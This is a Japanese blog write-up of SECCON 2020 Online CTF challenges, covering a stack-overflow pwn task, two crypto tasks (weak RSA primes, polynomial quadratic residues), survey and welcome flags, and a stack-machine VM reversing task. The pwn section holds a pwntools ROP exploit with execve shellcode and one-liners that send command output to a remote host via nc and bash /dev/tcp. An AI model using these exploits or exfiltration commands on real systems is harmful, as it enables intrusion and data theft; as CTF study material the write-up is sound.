SECCON 2020 Online CTF write-up

637位、45点。難しすぎて全然分からん。

解けた問題が少ないとwrite-upを書くのが楽で良いですね

sandbox

自由にコードが書けるけれど、悪いことはできないようになっている（はずな）のを何とかする問題。一ジャンルになるんだな。全然分からん。

pwn

pwarmup (warmup)

とてもシンプルなスタックバッファオーバーフロー。

main.c

#include <unistd.h>
#include <stdio.h>

int main(void) {
  char buf[0x20];
  puts("Welcome to Pwn Warmup!");
  scanf("%s", buf);
  fclose(stdout);
  fclose(stderr);
}

__attribute__((constructor))
void setup(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(60);
}

ソースコードはこれで全部。return前にstdoutとstderrが閉じられていて出力ができないことが問題。

libcが与えられないので、libcには依存せずに解けるはず。checksecを掛けてみると、

$ checksec chall
[*] '/mnt/d/documents/ctf/seccon2020/pwarmup/pwarmup/chall'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

まあ、何でもできる。さすがにスタックのアドレスはランダム化されているだろうし、call rspのようなガジェットも見つからないので、スタックに制御を移すことはできない。ROPでどこか固定のアドレスにシェルコードを読み込んで、そこに飛ばせば良い。

attack.py

from pwn import *

s = remote("pwn-neko.chal.seccon.jp", 9001)
elf = ELF("chall")
context.binary = elf

rop = ROP(elf)
# scanf("%s", 0x600000)
rop.call(0x4005c0, [next(elf.search(b"%s")), 0x600000])
rop.call(0x600000)
s.sendlineafter(
  "Welcome to Pwn Warmup!\n",
  b"a"*0x28+rop.chain())

# http://shell-storm.org/shellcode/files/shellcode-806.php
s.sendline(
  "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53"
  "\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")

s.interactive()

こうして取ったシェルでも出力が出てこない。こういうときの常套手段としては、 ls -al | nc myhost.example.com 1234とネットワークに流すことだけど、流れてこない。ncが無いのかな？　bashの/dev/tcp/を使う。bash、ls -al > /dev/tcp/myhost.example.com/1234。nc -l 1234で待っていると出力が飛んでくる。

ls -alで、

total 24
drwxr-xr-x 1 root pwn  4096 Oct  7 07:45 .
drwxr-xr-x 1 root root 4096 Oct  7 07:45 ..
-r-xr-x--- 1 root pwn  7488 Oct  7 07:41 chall
-r--r----- 1 root pwn    59 Oct  7 07:41 flag-e6951df0400add6a6b5be11f25b80cea.txt
-r-xr-x--- 1 root pwn    37 Oct  7 07:41 redir.sh

cat flag-e6951df0400add6a6b5be11f25b80cea.txtで、

SECCON{1t's_g3tt1ng_c0ld_1n_j4p4n_d0n't_f0rget_t0_w4rm-up}

SECCON{1t's_g3tt1ng_c0ld_1n_j4p4n_d0n't_f0rget_t0_w4rm-up}

crypto

This is RSA (warmup)

rsa.rb

require 'openssl'

def get_prime
  i = OpenSSL::BN.rand(512).to_s.unpack1('H*').hex
  OpenSSL::BN.new(i).prime? ? i : get_prime
end

p = get_prime
q = get_prime
n = p * q
e = 65537
m = File.read('flag.txt').unpack1('H*').hex
c = m.pow(e, n)

puts "N = #{n}"
puts "c = #{c}"

この問題もシンプル。pとqが単なる素数で、p-1やp+1が大きな素因数を持つことが確認されていない。正攻法でnが素因数分解できるのかな？と思ったけど、できなかった。

OpenSSL::BN.rand(512).to_s.unpack1('H*').hexが脆弱性。なかなか気が付かなかった。rand(512)が、（面倒だから桁数を小さくして）1234を返したとすると、.to_sで"1234"になり、これは16進数表記すると31 32 33 34なので、.unpack1('H*')で"31323334"になり、.hexで0x31323334になる。つまり、pとqは4ビットごとに3が出てくる素数。

pとqの情報が半分も分かっているので、何とかなる。下位ビットから順に探索していけば良い。3の制約で枝刈りが効くでしょう。

solve.py

N = 13234306273608973531555502334446720401597326792644624514228362685813698571322410829494757436628326246629203126562441757712029708148508660279739210512110734001019285095467352938553972438629039005820507697493315650840705745518918873979766056584458077636454673830866061550714002346318865318536544606580475852690351622415519854730947773248376978689711597597169469401661488756669849772658771813742926651925442468141895198767553183304485662688033274567173210826233405235701905642383704395846192587563843422713499468379304400363773291993404144432403315463931374682824546730098380872658106314368520370995385913965019067624762624652495458399359096083188938802975032297056646831904294336374652136926975731836556951432035301855715375295216481079863945383657
c = 9094564357254217771457579638296343398667095069849711922513911147179424647045593821415928967849073271368133854458732106409023539482401316282328817488781771665657515880026432487444729168909088425021111879152492812216384426360971681055941907554538267523250780508925995498013624610554177330113234686073838491261974164065812534037687990653834520243512128393881497418722817552604416319729143988970277812550536939775865310487081108925130229024749287074763499871216498398695877450736179371920963283041212502898938555288461797406895266037211533065670904218278235604002573401193114111627382958428536968266964975362791704067660270952933411608299947663325963289383426020609754934510085150774508301734516652467839087341415815719569669955613063226205647580528

p = q =int("30"*155, 16)
def f(d):
  global p, q
  if d==155:
    return p*q==N
  for a in range(10):
    a <<= d*8
    for b in range(10):
      b <<= d*8
      p += a
      q += b
      if ((p*q)^N)&((1<<(d*8+8))-1)==0:
        if f(d+1):
          return True
      p -= a
      q -= b
f(0)

from Crypto.Util.number import *

d = inverse(65537, (p-1)*(q-1))
flag = pow(c, d, N)

print(bytes.fromhex("%x"%flag).decode())

フラグの種明かしが面白い。

SECCON{I_would_always_love_the_cryptography_and_I_know_RSA_never_gets_old_So_Im_always_a_fan_of_this_mathematical_magic_and...Wait_This_flag_can_be_longer_than_I_expected_What_happened?}

koharu

task.sage

while True:
    p = random_prime(1<<64)
    if is_prime((p+1) // 2):
        break

with open("flag.txt", "rb") as f:
    flag = f.read()
flag = int.from_bytes(flag, "big")


PR.<x> = PolynomialRing(GF(p))
while True:
    P = PR.random_element(degree=64)
    if P.is_irreducible():
        break

while True:
    Q = PR.random_element(degree=64)
    if Q.is_irreducible():
        break

NP = p**P.degree()
NQ = p**Q.degree()

while True:
    R = PR.random_element(degree=64)
    if power_mod(R, (NP-1)//2, P) != 1 and power_mod(R, (NQ-1)//2, Q) != 1:
        break

PQ = P*Q
c = []
while flag:
    S = PR.random_element(degree=64)
    if flag & 1:
        c.append((S * S) % PQ)
    else:
        c.append((S * S * R) % PQ)
    flag = flag >> 1

print("p =", p)
print("PQ =", PQ)
print("R =", R)
print("c =", c)

多項式を使って累乗したり剰余を取ったりしている。多項式環と言うらしい。

結局何ができれば解けるかというと、c[i]がある多項式Sを用いて(S*S)%PQと表せるかどうかを判定すること。最近どこかで見たような…… 　InterKosenCTFだ。

このときのサーバー側のソースコードに判定があって、c**((p-1)/2)%pが1かどうかで分かるらしい。x**(p-1)が1になるので、c=d**2ならば、c**((p-1)/2)=d**(p-1)=1になるという話か。ただし、この問題ではpが素数。今回はPQが合成数（合成多項式？）。Wikipediaには法nが合成数だと、判定はnの素因数分解と同程度に難しいと書かれている。

結局位数が分かれば良いのだけど……と思いながら問題のソースコードを見てみると、これが位数で、多項式の中身には依存していないな。P.degree()=64。

NP = p**P.degree()
NQ = p**Q.degree()

理解し切れていないけど、power_mod(c[i], (NP-1)//2, PQ)==1で判定できた。

solve.sage

p = 4832823609987476353

PR.<x> = PolynomialRing(GF(p))

PQ = 2475361839038406994*x^128 + 1816580044636445865*x^127 + 771106714052997910*x^126 + 2532248969060743840*x^125 + 157159147928168793*x^124 + 1165294508775017303*x^123 + 54498477947855453*x^122 + 564670281176250610*x^121 + 4686383084102262935*x^120 + 4798143559496813901*x^119 + 2373759188753852032*x^118 + 3458843219210551923*x^117 + 3389173528515223367*x^116 + 3175114023644661971*x^115 + 2668820643276713526*x^114 + 1644657084961816584*x^113 + 1949973045428555331*x^112 + 2314884799372359978*x^111 + 1614909032209480656*x^110 + 3706101120120959039*x^109 + 1443476119293487220*x^108 + 507539962924420368*x^107 + 2851578707595377440*x^106 + 2660707099322090529*x^105 + 2275120831055073492*x^104 + 4642644673121099806*x^103 + 780741129747777966*x^102 + 3824963851609159359*x^101 + 1445016816241934269*x^100 + 4706494165496469049*x^99 + 91460120231848540*x^98 + 2033361932245472629*x^97 + 4657205830657809352*x^96 + 627579987075662316*x^95 + 2638155163726745709*x^94 + 773248040814209977*x^93 + 4426134463977473378*x^92 + 1748835523159978170*x^91 + 2545886874835388035*x^90 + 4318027045196127783*x^89 + 529092995613843935*x^88 + 37621695756851259*x^87 + 724317479549357114*x^86 + 235872728824864204*x^85 + 1409136599403563059*x^84 + 984842291673572708*x^83 + 1000642979551429427*x^82 + 2599952022893048437*x^81 + 33489199855748196*x^80 + 2138571356326295553*x^79 + 357904099457660261*x^78 + 1388605866466399741*x^77 + 2123614714168365349*x^76 + 1296407111118101425*x^75 + 3175149128196009486*x^74 + 4407671566428651830*x^73 + 3653949472018283742*x^72 + 2150666969917189331*x^71 + 2425834809198809729*x^70 + 202017664024051124*x^69 + 4656859267960293209*x^68 + 95544718007904685*x^67 + 551963924883187932*x^66 + 1220133766833256737*x^65 + 418789913385574936*x^64 + 3140425594489130574*x^63 + 653426727346469624*x^62 + 2168508737790275670*x^61 + 1350675684196344669*x^60 + 86970043713584944*x^59 + 3125122442296761190*x^58 + 1691082709013935740*x^57 + 14954357710735056*x^56 + 1951640599446313225*x^55 + 3057759244385615044*x^54 + 2842299299534580663*x^53 + 60118912044101305*x^52 + 3791459205438092561*x^51 + 3961025931327708139*x^50 + 3352223936735193809*x^49 + 458087980170556413*x^48 + 303065746752057039*x^47 + 270269323703788403*x^46 + 3435561048914221019*x^45 + 244980776425782882*x^44 + 1756735569264346021*x^43 + 1049402079460555244*x^42 + 1181023304135761892*x^41 + 2480814159047994100*x^40 + 3359295278584507081*x^39 + 1031815312165038169*x^38 + 2284789340145013050*x^37 + 2507227047920435897*x^36 + 4212274843760760739*x^35 + 1874163516348469998*x^34 + 4184876619139253979*x^33 + 2454055493008310058*x^32 + 4810631595605704078*x^31 + 2705618732956794205*x^30 + 4588422028499215564*x^29 + 1362947071518584749*x^28 + 200625668549982104*x^27 + 4162225127389871946*x^26 + 3671964574429446847*x^25 + 497776717675475749*x^24 + 3171362364421276926*x^23 + 4040585504650270495*x^22 + 55143980688943936*x^21 + 1680279432641096886*x^20 + 1141249890787830167*x^19 + 1632171956841566025*x^18 + 4489792289887403690*x^17 + 72863318133800422*x^16 + 3512973315964270180*x^15 + 1880837549990432714*x^14 + 629108155937185931*x^13 + 605563550674482475*x^12 + 3125052390516629852*x^11 + 3434353753938817079*x^10 + 2199180089161294937*x^9 + 4128993677150612079*x^8 + 875038461592559534*x^7 + 1344699457303227348*x^6 + 3605318452000064928*x^5 + 1825112182884559504*x^4 + 4214849563830404245*x^3 + 3018789469914511583*x^2 + 4256870332540451928*x + 3478109193918270445
R = 10529800129354981*x^64 + 4658846300069202283*x^63 + 1343603688498785880*x^62 + 77535778799313918*x^61 + 3909004297055292936*x^60 + 1574062357470841720*x^59 + 2255026177942473610*x^58 + 2913895405335010190*x^57 + 910153010204378491*x^56 + 4823161627331431259*x^55 + 4314926186108070132*x^54 + 3776194104903441585*x^53 + 4218241384907734159*x^52 + 2928099962473177675*x^51 + 3620663369166129209*x^50 + 4671199329340054093*x^49 + 2953252709684913819*x^48 + 1470028746745533363*x^47 + 393509208258687360*x^46 + 2631641671658679748*x^45 + 4823463900549231672*x^44 + 22025139085889956*x^43 + 3905072220448754367*x^42 + 3525611426409694274*x^41 + 1087703571442464513*x^40 + 983613039355879671*x^39 + 2292836760450398296*x^38 + 2429042383184252432*x^37 + 4241866215562144008*x^36 + 3567456235250802214*x^35 + 289826756486726727*x^34 + 3070079221437908111*x^33 + 3164478508626375897*x^32 + 4028195041942471423*x^31 + 1611744044712776226*x^30 + 682031605725048858*x^29 + 2334009162012075842*x^28 + 1056698946696323305*x^27 + 1193918408929283326*x^26 + 1546583097398597126*x^25 + 632624061599387394*x^24 + 3924194912006864689*x^23 + 836241738980292724*x^22 + 2019639656826418643*x^21 + 646182266409329495*x^20 + 3568811299250961381*x^19 + 4024124722170180214*x^18 + 2765626713849083593*x^17 + 830125243533734584*x^16 + 3773807917205041413*x^15 + 4579071273569219071*x^14 + 4169012455774239610*x^13 + 2779202281389813792*x^12 + 1668767138196611027*x^11 + 3668902156196312613*x^10 + 2118966174503976203*x^9 + 2876683474352545557*x^8 + 4749450906737437136*x^7 + 2048549559963146669*x^6 + 2337906091414592304*x^5 + 3234395871197583532*x^4 + 624006023034932764*x^3 + 1020142386943254010*x^2 + 4346889740151908150*x + 2337193413394346074
c = [2027712907546344021*x^127 + ...

NP = p**64
flag = ""
for t in c:
  if power_mod(t, (NP-1)//2, PQ)==1:
    flag += "1"
  else:
    flag += "0"
print(flag)

cが大きすぎてsageのウィンドウに貼り付けられなかった。SageMath 8.6 Shellを開くと、C:\Users\user_nameが~/にマウントされていたので、ここに持っていってスクリプトを実行。

(sage-sh) kusano@RIO:~$ sage solve.sage
01010000101111100000110001001110110011000000111000001100010011101100110000001110101101000111011010101110110101101010111000001100100111100001011010110100000011000100111011001100000011101011010000001100010011101100110000001110101101001001111010001100000011000000111010110100100111101000110000001100000011101101111001110010111100101100001011000010101000101100101

エンコード時に最上位ビットの0が消えるのと、最下位ビットから処理していてビットが反転しているのを処理。

>>> f = "01010000101111100000110001001110110011000000111000001100010011101100110000001110101101000111011010101110110101101010111000001100100111100001011010110100000011000100111011001100000011101011010000001100010011101100110000001110101101001001111010001100000011000000111010110100100111101000110000001100000011101101111001110010111100101100001011000010101000101100101"
>>> f = "0"+f[::-1]
>>> flag = ""
>>> for i in range(0, len(f), 8):
...   flag += chr(int(f[i:i+8], 2))
...
>>> flag
'SECCON{p01y-p01y-p3r0-p3r0-hy0ukun-p3r0p3r0}\n'

そういえば、output.txtにRが出力されているけど、使っていないな。

SECCON{p01y-p01y-p3r0-p3r0-hy0ukun-p3r0p3r0}

misc

Welcome

SECCON{Welcome to the SECCON 2020 Online CTF}

Survey

以前に誰かが言っていたけれど、Google Formsはソースコードに投稿後のメッセージが載っていて、とりあえずフラグをゲットして後からアンケートに答えることができる。

SECCON{Thank you for playing SECCON 2020 Online CTF}

web

Beginner's Capsule (warmup)

解けなかった。

import * as fs from 'fs';
// @ts-ignore
import {enableSeccompFilter} from './lib.js';

class Flag {
  #flag: string;
  constructor(flag: string) {
    this.#flag = flag;
  }
}

const flag = new Flag(fs.readFileSync('flag.txt').toString());
fs.unlinkSync('flag.txt');

enableSeccompFilter();

// ここに好きなコードが書ける

• #は「ハードプライベート」というものらしい。なんか堅そう
• こちらの送ったスクリプトの実行前に、flag.txtは消される
• システムコールレベルでopenが潰されているので、/proc/self/memを読むこともできない
• TypeScript
• 次の「Capsule」では、tsconfig.jsonが消えていて、esModuleInteropが無い？

ということから、「コンパイル時に何とかするのかな？　C++の#include "flag.txt"みたいな感じで。ググるとテキストファイルをimportするという話も出てくるし」と思ったけど、全然違ったわ。

SECCON 2020 Online CTF - Capsule & Beginner’s Capsule - Author’s Writeup - HackMD

これだけ色々な想定解法と非想定解法があって解けなかったの悔しいな。まずは、トランスパイル結果の確認をするべきだったか。

Milk

解けなかった。この問題も想定解法と非想定解法が色々あって面白い。

SECCON 2020 Online CTF - Milk - Author’s Writeup - HackMD

この手の簡単な問題と難しい問題がセットになっているやつ、難しい問題が解けると2問分の点数が入るのズルくないですか……。配点が固定なら配点で調節されるのだろうけど、動的配点だとそうもいかない。

reversing

SCSBX:Reversing

オリジナルのスタックマシンVM。

SecCon SandBoX is an open-sourced virtual machine!
./scsbx seccon.bin

DOCS.mdに書かれているようにpush以外は全て1バイトなので、逆アセンブラを書くのは簡単。

decode.py

import struct

INS_ = """
#define INS_PUSH    0x20
#define INS_POP     0x21
#define INS_DUP     0x22
#define INS_XCHG    0x23
#define INS_LOAD32  0x24
#define INS_LOAD64  0x25
#define INS_STORE8  0x26
#define INS_STORE16 0x27
#define INS_STORE32 0x28
#define INS_SHOW    0x70
#define INS_JMP   0x30
#define INS_JEQ   0x31
#define INS_JGT   0x32
#define INS_JGE   0x33
#define INS_CALL  0x34
#define INS_ADD   0x40
#define INS_SUB   0x41
#define INS_MUL   0x42
#define INS_DIV   0x43
#define INS_MOD   0x44
#define INS_NOT   0x50
#define INS_AND   0x51
#define INS_OR    0x52
#define INS_XOR   0x53
#define INS_SHL   0x54
#define INS_SHR   0x55
#define INS_ROL   0x56
#define INS_ROR   0x57
#define INS_READ  0x60
#define INS_WRITE 0x61
#define INS_MAP   0x62
#define INS_UNMAP 0x63
#define INS_EXIT  0x64
"""

INS = {}
for ins in INS_.split("\n"):
  if ins!="":
    ins = ins.split()
    INS[int(ins[2][2:], 16)] = ins[1][4:]

addr = 0x55540000
with open("seccon.bin", "rb") as f:
  while True:
    ins = f.read(1)
    if ins==b"":
      break
    op = INS[ins[0]]
    if op=="PUSH":
      v = struct.unpack("<I", f.read(4))[0]
      print(hex(addr), op, hex(v))
      addr += 4
    else:
      print(hex(addr), op)
    addr += 1

良くあるスタックマシンなので読んでいく。0x40バイト読み込み、これを4バイトごとにX[0], X[1], X[2], X[3], ...とすると、X[2*i]とX[2*i+1]をペアにして疑似乱数を使いながら変換する。結果が特定のバイト列になればOK。

Pythonで書き直してSECCON{と入力してみたけど、バグっていて合わない。（疑似乱数生成以外の）処理はXORしかしていないので、先頭がSECCON{の7文字ならば、最上位の1バイト以外は一致するはずだが……。 ビット単位でしか結果に影響しないのならば、00 00 00 00 00 00 00 00 ...、00 00 00 00 FF FF FF FF ...、FF FF FF FF 00 00 00 00 ...、FF FF FF FF FF FF FF FF ...のエンコード結果と目的の値を比較すれば良いか。

seccon.binを書き換える。

0x55540204 PUSH 0x0
0x55540209 EXIT

を

0x555401fe PUSH 0x307
0x55540203 JMP

にして、

0x55540307 PUSH 0x40
0x5554030c PUSH 0xdead000a
0x55540311 WRITE
0x55540312 PUSH 0x0
0x55540317 EXIT

を追加し、エンコード結果を出力するようにする。

solve.py

from struct import *

d = open("seccon.bin", "rb").read()
A = []
for i in range(16):
  A += unpack("<I", d[0x257+i*11:][:4])

B = []
for f in ["00", "01", "10", "11"]:
  B += [unpack("<"+"I"*16, open(f+".out", "rb").read()[0xe:])]

C = []
for i in range(0, 16, 2):
  c0 = 0
  c1 = 0
  for j in range(32):
    for b in range(4):
      if (A[i]>>j&1, A[i+1]>>j&1)==(B[b][i]>>j&1, B[b][i+1]>>j&1):
        c0 |= (b>>1&1)<<j
        c1 |= (b&1)<<j
  C += [c0, c1]
print(pack("<"+"I"*16, *C).decode())

$ python3 solve.py
SECCON{TfuRYYVaz8Us696t3JWNxZZPsXEmdL7cCmgzpgxXKarUOnIwhSj9tQ}

Discordの作問者の発言曰く、エンコードとデコードは同じ処理らしい。エンコード結果を出力するように書き換えたならば、ターゲットのバイト列を入力すれば良かったのか。

$ hexdump -C target.bin
00000000  23 12 76 46 c5 a5 be 54  f6 e8 22 7a c9 93 b4 5d  |#.vF...T.."z...]|
00000010  5e 17 5d 05 33 cd 2f 02  e6 6b c4 42 e8 a0 10 6d  |^.].3./..k.B...m|
00000020  78 c2 f4 53 2a ec 79 72  39 fb 91 54 1f 42 ac 49  |x..S*.yr9..T.B.I|
00000030  37 3a ab 49 12 58 85 47  05 bb 18 57 5b fb 40 05  |7:.I.X.G...W[.@.|
00000040
$ ./scsbx seccon2.bin < target.bin
FLAG: Wrong!!
SECCON{TfuRYYVaz8Us696t3JWNxZZPsXEmdL7cCmgzpgxXKarUOnIwhSj9tQ}

SECCON{TfuRYYVaz8Us696t3JWNxZZPsXEmdL7cCmgzpgxXKarUOnIwhSj9tQ}